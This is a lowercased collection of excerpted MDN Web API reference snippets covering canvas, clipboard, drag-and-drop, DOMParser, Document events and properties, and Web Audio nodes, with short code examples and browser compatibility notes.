... function createcanvas() { var canvas = document.createelement("canvas"); canvas.style.background = "url("+op_8x8.data+")"; canvas.style.border = "1px solid #000"; canvas.style.margin = "5px"; canvas.width = width/2; canvas.height = height/2; return canvas; } function runcomposite() { var dl = document.createelement("dl"); document.body.appendchild(dl); while(gco.length) { var pop = gco.pop(); var dt = document.createelement("dt"); dt.textcontent = pop; dl.appendchild(dt); var dd = document.createelement("dd"); var p = document.createelement("p"); p.textcontent = gcotext.pop(); dd.appendchild(p); var canvastodrawon = createcanvas(); var canvastodrawfrom ...
...wfrom.getcontext('2d'); ctx.clearrect(0, 0, width, height) ctx.save(); ctx.drawimage(canvas2, 0, 0, width/2, height/2); ctx.fillstyle = "rgba(0,0,0,0.8)"; ctx.fillrect(0, height/2 - 20, width/2, 20); ctx.fillstyle = "#fff"; ctx.font = "14px arial"; ctx.filltext('new content', 5, height/2 - 5); ctx.restore(); dd.appendchild(canvastodrawon); dd.appendchild(canvastodrawfrom); dd.appendchild(canvastodrawresult); dl.appendchild(dd); } }; utility functions the program relies on a number of utility functions.
... v = o.v / 100, r, g, b; var a, b, c, d; if (s == 0) { r = g = b = math.round(v * 255); } else { if (h >= 1) h = 0; h = 6 * h; d = h - math.floor(h); a = math.round(255 * v * (1 - s)); b = math.round(255 * v * (1 - (s * d))); c = math.round(255 * v * (1 - (s * (1 - d)))); v = math.round(255 * v); switch (math.floor(h)) { case 0: r = v; g = c; b = a; break; case 1: r = b; g = v; b = a; break; case 2: r = a; g = v; b = c; break; case 3: r = a; ...
Finale - Web APIs
WebAPICanvas APITutorialFinale
new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser.
... svg scalable vector graphics let you describe images as sets of vectors (lines) and shapes in order to allow them to scale smoothly regardless of the size at which they're drawn.
... web audio the web audio api provides a powerful and versatile system for controlling audio on the web, allowing developers to choose audio sources, add effects to audio, create audio visualizations, apply spatial effects (such as panning) and much more.
... comments about this tutorial – the mdn documentation community if you have any comments about this tutorial or want to thank us, feel free to reach out to us!
ClipboardItem - Web APIs
the clipboard-read permission must be requested, which you can do by trying to read data from the clipboard.
... examples writing to clipboard here we're writing a new clipboarditem.clipboarditem() to the clipboard by requesting a png image using the fetch api, and in turn, the responses' blob() method, to create the new clipboarditem.
... async function writeclipimg() { try { const imgurl = '/myimage.png'; const data = await fetch(imgurl); const blob = await data.blob(); await navigator.clipboard.write([ new clipboarditem({ [blob.type]: blob }) ]); console.log('fetched image copied.'); } catch(err) { console.error(err.name, err.message); } } reading from the clipboard here we're returning all items on the clipboard via the clipboard.read() method.
... async function getclipboardcontents() { try { const clipboarditems = await navigator.clipboard.read(); for (const clipboarditem of clipboarditems) { for (const type of clipboarditem.types) { const blob = await clipboarditem.gettype(type); // we can now use blob here } } } catch (err) { console.error(err.name, err.message); } } specifications specification status comment clipboard api and eventsthe definition of 'clipboarditem' in that specification.
console.assert() - Web APIs
WebAPIConsoleassert
the string representations of each of these objects are appended together in the order listed and output.
...substn javascript objects with which to replace substitution strings within msg.
... console.log('the word is %s', 'foo'); // output: the word is foo ...the use of such a string does not currently work as intended as a parameter for console.assert in all browsers: console.assert(false, 'the word is %s', 'foo'); // correct output in node.js and some browsers // (e.g.
...chrome v67.0.3396.87): // assertion failed: the word is %s foo see outputting text to the console in the documentation of console for further details.
ConstrainBoolean - Web APIs
you can specify an exact value which must be matched, an ideal value that should be matched if at all possible, and a fallback value to attempt to match once all more specific constraints have been applied.
... properties exact a boolean which indicates a value the property must have.
... you can also specify the value of the property as simply true or false, in which case the user agent will use that value if possible once all efforts have been made to match the exact and ideal values for other properties.
... candidate recommendation initial definition technically, constrainboolean is actually based on an intermediary dictionary named constrainbooleanparameters, which adds exact and ideal to the simple boolean type.
ConstrainDouble - Web APIs
it extends the doublerange dictionary (which provides the ability to specify a permitted range of property values) to also support an exact value and/or an ideal value the property should take on.
... additionally, you can specify the property's value as a simple floating-point value, in which case the user agent does its best to match the value once all other more stringent constraints are met.
... ideal a double-precision floating-point number specifying a value the property would ideally have, but which can be considered optional if necessary to find a match.
... candidate recommendation initial definition technically, constraindouble is actually based on an intermediary dictionary named constraindoublerange, which adds exact and ideal to doublerange, with constraindouble being a type that can be either a long integer or a doublerange.
ConstrainULong - Web APIs
it extends the ulongrange dictionary (which provides the ability to specify a permitted range of property values) to also support an exact value and/or an ideal value the property should take on.
... in addition, you can specify the value as a simple long integer value, in which case the user agent does its best to match the value once all other more stringent constraints are met.
... ideal an integer specifying a value the property would ideally have, but which can be considered optional if necessary to find a match.
... candidate recommendation initial definition technically, constrainulong is actually based on an intermediary dictionary named constrainulongrange, which adds exact and ideal to ulongrange, with constrainulong being a type that can be either a long integer or a ulongrange.
ConvolverNode - Web APIs
the convolvernode interface is an audionode that performs a linear convolution on a given audiobuffer, often used to achieve a reverb effect.
... number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 1, 2, or 4 channel interpretation "speakers" constructor convolvernode() creates a new convolvernode object instance.
... convolvernode.buffer a mono, stereo, or 4-channel audiobuffer containing the (possibly multichannel) impulse response used by the convolvernode to create the reverb effect.
... let audioctx = new window.audiocontext(); async function createreverb() { let convolver = audioctx.createconvolver(); // load impulse response from file let response = await fetch("path/to/impulse-response.wav"); let arraybuffer = await response.arraybuffer(); convolver.buffer = await audioctx.decodeaudiodata(arraybuffer); return convolver; } ...
DOMException.code - Web APIs
WebAPIDOMExceptioncode
the code read-only property of the domexception interface returns a short that contains one of the error code constants, or 0 if none match.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetcodechrome full support yesedge full support 12firefox full support 1ie ?
... opera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support 4opera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
DOMParser - Web APIs
WebAPIDOMParser
these properties can also be read to fetch html fragments corresponding to the corresponding dom subtree.
...sult will be an svgdocument if the mime type is text/html, the result will be an htmldocument let parser = new domparser() let doc = parser.parsefromstring(stringcontainingxmlsource, "application/xml") // returns a document, but not an svgdocument nor an htmldocument parser = new domparser(); doc = parser.parsefromstring(stringcontainingsvgsource, "image/svg+xml") // returns a svgdocument, which also is a document.
... parser = new domparser(); doc = parser.parsefromstring(stringcontaininghtmlsource, "text/html") // returns an htmldocument, which also is a document.
...ithub.com/1129031 */ /*global document, domparser*/ (function(domparser) { "use strict"; var proto = domparser.prototype, nativeparse = proto.parsefromstring; // firefox/opera/ie throw errors on unsupported types try { // webkit returns null on unsupported types if ((new domparser()).parsefromstring("", "text/html")) { // text/html parsing is natively supported return; } } catch (ex) {} proto.parsefromstring = function(markup, type) { if (/^\s*text\/html\s*(?:;|$)/i.test(type)) { var doc = document.implementation.createhtmldocument(""); if (markup.tolowercase().indexof('<!doctype') > -1) { doc.documentelement.innerhtml = markup; } else { doc.body.innerhtml = markup; } return doc; } else { return nativeparse.apply(this, arguments); }...
DOMPoint.fromPoint() - Web APIs
the source point is specified as a dompointinit-compatible object, which includes both dompoint and dompointreadonly.
... although this interface is based on dompointreadonly, it is not read-only; the properties within may be changed at will.
... syntax var point = dompoint.frompoint(sourcepoint); properties sourcepoint a dompointinit-compliant object, which includes both dompoint and dompointreadonly, from which to take the values of the new point's properties.
...the point's properties are mutable and may be changed at any time.
DataTransfer.clearData() - Web APIs
syntax datatransfer.cleardata([format]); parameters format optional a string which specifies the type of data to remove.
... register event handlers draggable.addeventlistener('dragstart', dragstarthandler); draggable.addeventlistener('dragend', dragendhandler); dropable.addeventlistener('dragover', dragoverhandler); dropable.addeventlistener('dragleave', dragleavehandler); dropable.addeventlistener('drop', drophandler); function dragstarthandler (event) { status.innerhtml = 'drag in process'; // change target element's border to signify drag has started event.currenttarget.style.border = '1px dashed blue'; // start by clearing existing clipboards; this will affect all types since we // don't give a specific type.
...rdata(); // set the drag's format and data (use event target's id for data) event.datatransfer.setdata('text/plain', event.target.id); data.innerhtml = event.datatransfer.getdata('text/plain'); } function dragendhandler (event) { if (!dropped) { status.innerhtml = 'drag canceled'; } data.innerhtml = event.datatransfer.getdata('text/plain') || 'empty'; // change border to signify drag is no longer in process event.currenttarget.style.border = '1px solid black'; if (dropped) { // remove all event listeners draggable.removeeventlistener('dragstart', dragstarthandler); draggable.removeeventlistener('dragend', dragendhandler); dropable.removeeventlistener('dragover', dragoverhandler); dropable.removeeventlistener('d...
...)'; event.preventdefault(); } function drophandler (event) { dropped = true; status.innerhtml = 'drop done'; event.preventdefault(); // get data linked to event format « text » var _data = event.datatransfer.getdata('text/plain'); var element = document.getelementbyid(_data); // append drag source element to event's target element event.target.appendchild(element); // change css styles and displayed text element.style.csstext = 'border: 1px solid black;display: block; color: red'; element.innerhtml = "i'm in the drop zone!"; } }) specifications specification status comment html living standardthe definition of 'datatransfer.cleardata()' in that specification.
DataTransfer.effectAllowed - Web APIs
within the dragenter and dragover event handlers, this property will be set to whatever value was assigned during the dragstart event, thus effectallowed may be used to determine which effect is permitted.
... internet explorer will change the value to be lowercased; thus, linkmove will become linkmove, and so on.
...gin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getda...
...ta("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </script> <body> <h1>examples <code>datatransfer</code>.{<code>dropeffect</code>, <code>effectallowed</code>} properties</h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification...
DataTransfer.setData() - Web APIs
if data for the given type does not exist, it is added at the end of the drag data store, such that the last item in the types list will be the new type.
...that is, the order of the types list is not changed when replacing data of the same type.
... <!doctype html> <html lang=en> <title>examples of datatransfer's setdata(), getdata() and cleardata()</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart"); // change the source element's background color to signify drag has started ev.currenttarget.style.border = "dashed"; // set the drag's format and data.
... use the event target's id for the data ev.datatransfer.setdata("text/plain", ev.target.id); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); // get the data, which is the id of the drop target var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); // clear the drag data cache (for all formats/types) ev.datatransfer.cleardata(); } </script> <body> <h1>examples of <code>datatransfer</code>: <code>setdata()</code>, <code>getdata()</code>, <code>cleardata()</code></h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move ...
DataTransfer.types - Web APIs
each format is string.
...lang=en> <title>examples of datatransfer.{types,items} properties</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #target { border: 1px solid black; } </style> <script> function dragstart_handler(ev) { console.log("dragstart: target.id = " + ev.target.id); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree ev.datatransfer.setdata("text/plain", ev.target.id); ev.datatransfer.effectallowed = "move"; } function drop_handler(ev) { console.log("drop: target.id = " + ev.target.id); ev.preventdefault(); // get the id of the target and add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data))...
...; // print each format type if (ev.datatransfer.types != null) { for (var i=0; i < ev.datatransfer.types.length; i++) { console.log("...
... types[" + i + "] = " + ev.datatransfer.types[i]); } } // print each item's "kind" and "type" if (ev.datatransfer.items != null) { for (var i=0; i < ev.datatransfer.items.length; i++) { console.log("...
DataTransferItem.getAsString() - Web APIs
return value undefined callback the callback parameter is a callback function which accepts one parameter: domstring the drag data item's string data.
... function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = ev.datatransfer.items; for (var i = 0; i < data.length; i += 1) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html console.log("...
... drop: html"); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri console.log("...
... drop: uri"); } else if ((data[i].kind == 'file') && (data[i].type.match('^image/'))) { // drag data item is an image file var f = data[i].getasfile(); console.log("...
DataTransferItemList.clear() - Web APIs
the drag data store in which this list is kept is only writable while handling the dragstart event.
...rop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> css div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } javascript function dragstart_handler(ev) { console.log("dragstart"); // add this element's id to the drag payload so the drop handler will // know which element to add to its tree var datalist = ev.datatransfer.items; datalist.add(ev.target.id, "text/plain"); // add some other items to the drag payload datalist.add("<p>...
... paragraph ...</p>", "text/html"); datalist.add("http://www.example.org","text/uri-list"); } function drop_handler(ev) { console.log("drop"); ev.preventdefault(); var data = event.datatransfer.items; // loop through the dropped items and log their data for (var i = 0; i < data.length; i++) { if ((data[i].kind == 'string') && (data[i].type.match('^text/plain'))) { // this item is the target node data[i].getasstring(function (s){ ev.target.appendchild(document.getelementbyid(s)); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/html'))) { // drag data item is html data[i].getasstring(function (s){ console.log("...
... drop: html = " + s); }); } else if ((data[i].kind == 'string') && (data[i].type.match('^text/uri-list'))) { // drag data item is uri data[i].getasstring(function (s){ console.log("...
DedicatedWorkerGlobalScope - Web APIs
workerglobalscope.performance read only returns the performance object associated with the worker, which is a regular performance object, but with a subset of its properties and methods available.
... dedicatedworkerglobalscope.postmessage() sends a message — which can consist of any javascript object — to the parent document that first spawned the worker.
...for example: importscripts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data which has been encoded using base-64 encoding.
... windowtimers.setinterval() schedules the execution of a function every x milliseconds.
DeviceMotionEvent.rotationRate - Web APIs
returns the rate at which the device is rotating around each of its axes in degrees per second.
... syntax var rotationrate = devicemotionevent.rotationrate; value the rotationrate property is a read only object describing the rotation rates of the device around each of its axes: alpha the rate at which the device is rotating about its z axis; that is, being twisted about a line perpendicular to the screen.
... beta the rate at which the device is rotating about its x axis; that is, front to back.
... gamma the rate at which the device is rotating about its y axis; that is, side to side.
DeviceMotionEvent - Web APIs
the devicemotionevent provides web developers with information about the speed of changes for the device's position and orientation.
... warning: currently, firefox and chrome do not handle the coordinates the same way.
... devicemotionevent.rotationrateread only an object giving the rate of change of the device's orientation on the three orientation axis alpha, beta and gamma.
... devicemotionevent.intervalread only a number representing the interval of time, in milliseconds, at which data is obtained from the device.
Document.createAttribute() - Web APIs
exceptions invalid_character_err if the parameter contains invalid characters for xml attribute.
... living standard precised behavior with uppercase characters document object model (dom) level 3 core specificationthe definition of 'document.createattribute()' in that specification.
... obsolete no change.
... obsolete no change.
Document.exitFullscreen() - Web APIs
the document method exitfullscreen() requests that the element on this document which is currently being presented in full-screen mode be taken out of full-screen mode, restoring the previous state of the screen.
... return value a promise which is resolved once the user agent has finished exiting full-screen mode.
... if an error occurs while attempting to exit full-screen mode, the catch() handler for the promise is called.
... document.onclick = function (event) { if (document.fullscreenelement) { document.exitfullscreen() .then(() => console.log("document exited form full screen mode")) .catch((err) => console.error(err)) } else { document.documentelement.requestfullscreen(); } } note: for a more complete example, see the example in element.requestfullscreen().
Document.fonts - Web APIs
WebAPIDocumentfonts
the fontfaceset interface is useful for loading new fonts, checking the status of previously loaded fonts etc.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontschrome full support 60edge full support 79firefox full support 41 full support 41 no support 35 — 41disabled disabled from version 35 until version 41 (exclusive): this feature is behind the layout.css.font-loading-api.enabled preference (needs to be set to true).
... to change preferences in firefox, visit about:config.ie no support noopera full support 47safari full support 10webview android full support 60chrome android full support 60firefox android full support yesopera android full support 44safari ios full support 10samsung internet android full support 5.0legend full support full s...
Document.forms - Web APIs
WebAPIDocumentforms
each item in the collection is a htmlformelement representing a single <form> element.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetformschrome full support 1edge full support 12firefox full support yesie ?
... opera full support yessafari full support yeswebview android full support yeschrome android full support yesfirefox android full support yesopera android full support yessafari ios full support yessamsung internet android full support yeslegend full support full support compatibility unknown ...
Document: fullscreenerror event - Web APIs
the fullscreenerror event is fired when the browser cannot switch to full-screen mode.
... bubbles yes cancelable no interface event event handler property onfullscreenerror as with the fullscreenchange event, two fullscreenerror events are fired; the first is sent to the element which failed to change modes, and the second is sent to the document which owns that element.
... for some reasons that switching into full-screen mode might fail, see the guide to the fullscreen api.
... examples const requestor = document.queryselector('div'); document.addeventlistener('fullscreenerror', (event) => { console.error('an error occurred changing into fullscreen'); console.log(event); }); requestor.requestfullscreen(); specifications specification status fullscreen api living standard ...
Document: keypress event - Web APIs
the keypress event is fired when a key that produces a character value is pressed down.
... examples of keys that produce a character value are alphabetic, numeric, and punctuation keys.
... examples of keys that don't produce a character value are modifier keys such as alt, shift, ctrl, or meta.
... interface keyboardevent bubbles yes cancelable yes default action varies: keypress event; launch text composition system; blur and focus events; domactivate event; other event examples addeventlistener keypress example this example logs the keyboardevent.code value whenever you press a key.
Document.lastModified - Web APIs
the lastmodified property of the document interface returns a string containing the date and time on which the current document was last modified.
...here is a possible example of how to show an alert message when the page changes (see also: javascript cookies api): if (date.parse(document.lastmodified) > parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1") || "0")) { document.cookie = "last_modif=" + date.now() + "; expires=fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; alert("this page has changed!"); } …the same example, but skipping the first visit: var...
... nlastvisit = parsefloat(document.cookie.replace(/(?:(?:^|.*;)\s*last_modif\s*\=\s*([^;]*).*$)|^.*$/, "$1")), nlastmodif = date.parse(document.lastmodified); if (isnan(nlastvisit) || nlastmodif > nlastvisit) { document.cookie = "last_modif=" + date.now() + "; expires=fri, 31 dec 9999 23:59:59 gmt; path=" + location.pathname; if (isfinite(nlastvisit)) { alert("this page has been changed!"); } } note: webkit returns the time string in utc; gecko and internet explorer return a time in the local timezone.
... (see: bug 4363 – document.lastmodified returns date in utc time, but should return it in local time) if you want to know whether an external page has changed, please read this paragraph about the xmlhttprequest() api.
Document.lastStyleSheetSet - Web APIs
this property's value changes whenever the document.selectedstylesheetset property is changed.
...if the current style sheet set has not been changed by setting document.selectedstylesheetset, the returned value is null.
... note: this value doesn't change when document.enablestylesheetsforset() is called.
... example let lastsheetset = document.laststylesheetset; if (!lastsheetset) { lastsheetset = 'style sheet not yet changed'; } else { console.log('the last style sheet set is: ' + lastsheetset); } ...
Document.mozSetImageElement() - Web APIs
the document.mozsetimageelement() method changes the element being used as the css background for a background with a given background element id.
... example this example changes the background of a <div> block each time the block is clicked by the user.
...00; function clicked() { var canvas = document.createelement("canvas"); canvas.setattribute("width", 100); canvas.setattribute("height", 100); var ctx = canvas.getcontext('2d'); ctx.fillstyle = "#" + c.tostring(16) + "0000"; ctx.fillrect(25, 25, 75, 75); c += 0x11; if (c > 0xff) { c = 0x00; } document.mozsetimageelement("canvasbg", canvas); } the code here is called each time the user clicks the <div> element.
...each time the function is called, the square is a different color (its red component is increased each time), so each time the user clicks the element, the background is filled with a brighter and brighter pattern of red tiles.
Document.popupNode - Web APIs
when a popup attached via the popup or context attributes is opened, the xul document's popupnode property is set to the node that was clicked on.
...typically, this property will be checked during a popupshowing event handler for a context menu to initialize the menu based on the context.
... this property is only set for popups attached via the popup or context attributes.
... for other types of popups, the value is not changed.
Document.visibilityState - Web APIs
the document.visibilitystate read-only property returns the visibility of the document, that is in which context this element is now visible.
...check compatibility table for details.
... when the value of this property changes, the visibilitychange event is sent to the document.
... syntax var string = document.visibilitystate examples document.addeventlistener("visibilitychange", function() { console.log( document.visibilitystate ); // modify behavior...
DocumentOrShadowRoot.activeElement - Web APIs
other times the focused element might be a <select> element (menu) or an <input> element, of type "button", "checkbox", or "radio".
...which elements are focusable varies depending on the platform and the browser's current configuration.
... note: focus (which element is receiving user input events) is not the same thing as selection (the currently highlighted part of the document).
... syntax element = documentorshadowroot.activeelement value the element which currently has focus, <body> or null if there is no focused element.
DocumentOrShadowRoot.elementFromPoint() - Web APIs
if the element at the given point is anonymous or xbl generated content, such as a textbox's scroll bars, then the first non-anonymous ancestor element (for example, the textbox) is returned.
... example this example creates two buttons which let you set the current color of the paragraph element located under the coordinates (2, 2).
... javascript function changecolor(newcolor) { elem = document.elementfrompoint(2, 2); elem.style.color = newcolor; } the changecolor() method simply obtains the element located at the specified point, then sets that element's current foreground color property to the color specified by the newcolor parameter.
... html <p id="para1">some text here</p> <button onclick="changecolor('blue');">blue</button> <button onclick="changecolor('red');">red</button> the html provides the paragraph whose color will be affected, as well as two buttons: one to change the color to blue, and another to change the color to red.
DynamicsCompressorNode - Web APIs
the dynamicscompressornode interface provides a compression effect, which lowers the volume of the loudest parts of the signal in order to help prevent clipping and distortion that can occur when multiple sounds are played and multiplexed together at once.
... number of inputs 1 number of outputs 1 channel count mode "clamped-max" channel count 2 channel interpretation "speakers" constructor dynamicscompressornode() creates a new instance of an dynamicscompressornode object.
... dynamicscompressornode.threshold read only is a k-rate audioparam representing the decibel value above which the compression will start taking effect.
... dynamicscompressornode.ratio read only is a k-rate audioparam representing the amount of change, in db, needed in the input for a 1 db change in the output.
EXT_texture_compression_bptc - Web APIs
each 4x4 block of texels consists of 128 bits of rgba or image data.
...each 4x4 block of texels consists of 128 bits of srgb_alpha or image data.
...each 4x4 block of texels consists of 128 bits of rgb data.
...each 4x4 block of texels consists of 128 bits of rgb data.
EXT_texture_compression_rgtc - Web APIs
ext.compressed_red_rgtc1_ext each 4x4 block of texels consists of 64 bits of unsigned red image data.
... ext.compressed_signed_red_rgtc1_ext each 4x4 block of texels consists of 64 bits of signed red image data.
... ext.compressed_red_green_rgtc2_ext each 4x4 block of texels consists of 64 bits of compressed unsigned red image data followed by 64 bits of compressed unsigned green image data.
... ext.compressed_signed_red_green_rgtc2_ext each 4x4 block of texels consists of 64 bits of compressed signed red image data followed by 64 bits of compressed signed green image data.
EffectTiming - Web APIs
direction optional whether the animation runs forwards (normal), backwards (reverse), switches direction after each iteration (alternate), or runs backwards and switches direction after each iteration (alternate-reverse).
... duration optional the number of milliseconds each iteration of the animation takes to complete.
...although this is technically optional, keep in mind that your animation will not run if this value is 0.
... easing optional the rate of the animation's change over time.
Element: MSGestureHold event - Web APIs
the msgesturehold event is fired when the user contacts the touch surface and remains in the same position for a while.
... bubbles unknown cancelable unknown interface msgestureevent event handler property unknown the uievent.detail property of an msgesturehold event has 3 possible values: msgesture_flag_begin this value indicates that the user started contacting the touch surface.
... msgesture_flag_end this value indicates that the user has stopped touching the touch surface.
... msgesture_flag_end & msgesture_flag_cancel (bitwise and-ed together) this value indicates that the user has moved their finger, regardless of whether they also stopped touching the touch surface specifications not part of any specification.
Element: fullscreenerror event - Web APIs
the fullscreenerror event is fired when the browser cannot switch to full-screen mode.
... bubbles yes cancelable no interface event event handler property onfullscreenerror as with the fullscreenchange event, two fullscreenerror events are fired; the first is sent to the element which failed to change modes, and the second is sent to the document which contains that element.
... for some reasons that switching into full-screen mode might fail, see the guide to the fullscreen api.
... examples const requestor = document.queryselector('div'); requestor.addeventlistener('fullscreenerror', (event) => { console.error('an error occurred changing into fullscreen'); console.log(event); }); requestor.requestfullscreen(); specifications specification status fullscreen api living standard ...
Element.getAnimations() - Web APIs
the getanimations() method of the element interface (specified on the animatable mixin) returns an array of all animation objects affecting this element or which are scheduled to do so in future.
... syntax const animations = element.getanimations(options); parameters options optional an options object containing the following property: subtree a boolean value which, if true, causes animations that target descendants of element to be returned as well.
... this includes animations that target any css pseudo-elements attached to element or one of its descendents.
... return value an array of animation objects, each representing an animation currently targetting the element on which this method is called, or one of its descendant elements if { subtree: true } is specified.
Element: keypress event - Web APIs
the keypress event is fired when a key that produces a character value is pressed down.
... examples of keys that produce a character value are alphabetic, numeric, and punctuation keys.
... examples of keys that don't produce a character value are modifier keys such as alt, shift, ctrl, or meta.
... interface keyboardevent bubbles yes cancelable yes default action varies: keypress event; launch text composition system; blur and focus events; domactivate event; other event examples addeventlistener keypress example this example logs the keyboardevent.code value whenever you press a key after focussing the <input> element.
Element.outerHTML - Web APIs
WebAPIElementouterHTML
exceptions syntaxerror an attempt was made to set outerhtml using an html string which is not valid.
... nomodificationallowederror an attempt was made to set outerhtml on an element which is a direct child of a document, such as document.documentelement.
..."d"); console.log(d.outerhtml); // the string '<div id="d"><p>content</p><p>further elaborated</p></div>' // is written to the console window replacing a node by setting the outerhtml property: html <div id="container"> <div id="d">this is a div.</div> </div> javascript var container = document.getelementbyid("container"); var d = document.getelementbyid("d"); console.log(container.firstchild.nodename); // logs "div" d.outerhtml = "<p>this paragraph replaced the original div.</p>"; console.log(container.firstchild.nodename); // logs "p" // the #d div is no longer part of the document tree, // the new paragraph replaced it.
... notes if the element has no parent element, setting its outerhtml property will not change it or its descendants.
Element: underflow event - Web APIs
the non-standard underflow event, which is specific to firefox, is fired when an element is no longer overflowed by its content.
... this only works for elements for which overflow is not set to visible.
... bubbles yes cancelable yes interface uievent event handler property unknown examples <div id="wrapper"> <div id="child"></div> </div> <br/> <label><input type="checkbox" id="toggle" checked/> overflow</label> <style> #wrapper { width: 20px; height: 20px; background: #000; padding: 5px; overflow: hidden; } #child { width: 40px; height: 40px; border: 2px solid grey; background: #ccc; } </style> <script> var wrapper = document.getelementbyid("wrapper"), child = document.getelementbyid("child"), toggle = document.getelementbyid("toggle"); wrapper.addeventlistener("overflow", function( event ) { console.lo...
...g( event ); }, false); wrapper.addeventlistener("underflow", function( event ) { console.log( event ); }, false); toggle.addeventlistener("change", function( event ) { if ( event.target.checked ) { child.style.width = "40px"; child.style.height = "40px"; } else { child.style.width = "10px"; child.style.height = "10px"; } }, false); </script> specifications not part of any specification.
FederatedCredential - Web APIs
in supporting browsers, an instance of this class may be passed the credential received from the init object for global fetch.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfederatedcredential() constructor non-standardchrome full support 51edge full support ≤79firefox ?
... webview android full support 51chrome android full support 51firefox android ?
File.lastModified - Web APIs
WebAPIFilelastModified
the file.lastmodified read-only property provides the last modified date of the file as the number of milliseconds since the unix epoch (january 1, 1970 at midnight).
... syntax const time = instanceoffile.lastmodified; value a number that represents the number of milliseconds since the unix epoch.
... example reading from file input <input type="file" multiple id="fileinput"> const fileinput = document.queryselector('#fileinput'); fileinput.addeventlistener('change', (event) => { // files is a filelist object (similar to nodelist) const files = event.target.files; for (let file of files) { const date = new date(file.lastmodified); console.log(`${file.name} has a last modified date of ${date}`); } }); try the results out below: dynamically created files if a file is created dynamically, the last modified time can be supplied in the new file() constructor function.
... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
FileEntrySync - Web APIs
inherits from: entrysync about this document this document was last updated on march 2, 2012 and follows the w3c specifications (working draft) drafted on april 19, 2011.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfileentrysync non-standardchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤79prefixed full support ≤79prefixed prefixed implemented with the vendor prefix: webkitfirefox no support noie no support noopera no support nosafari no sup...
...port nowebview android full support 37prefixed full support 37prefixed prefixed implemented with the vendor prefix: webkitchrome android full support 18prefixed full support 18prefixed prefixed implemented with the vendor prefix: webkitfirefox android no support noopera android no support nosafari ios no support nosamsung internet android full support 1.0prefixed full support ...
FileReader.result - Web APIs
WebAPIFileReaderresult
this property is only valid after the read operation is complete, and the format of the data depends on which of the methods was used to initiate the read operation.
... syntax var file = instanceoffilereader.result value an appropiate string or arraybuffer based on which of the reading methods was used to initiate the read operation.
... example this example presents a function, read(), which reads a file from a file input.
... it works by creating a filereader object and creating a listener for load events such that when then file is read, the result is obtained and passed to the callback function provided to read().
GainNode() - Web APIs
WebAPIGainNodeGainNode
the gainnode() constructor of the web audio api creates a new gainnode object which an audionode that represents a change in volume.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
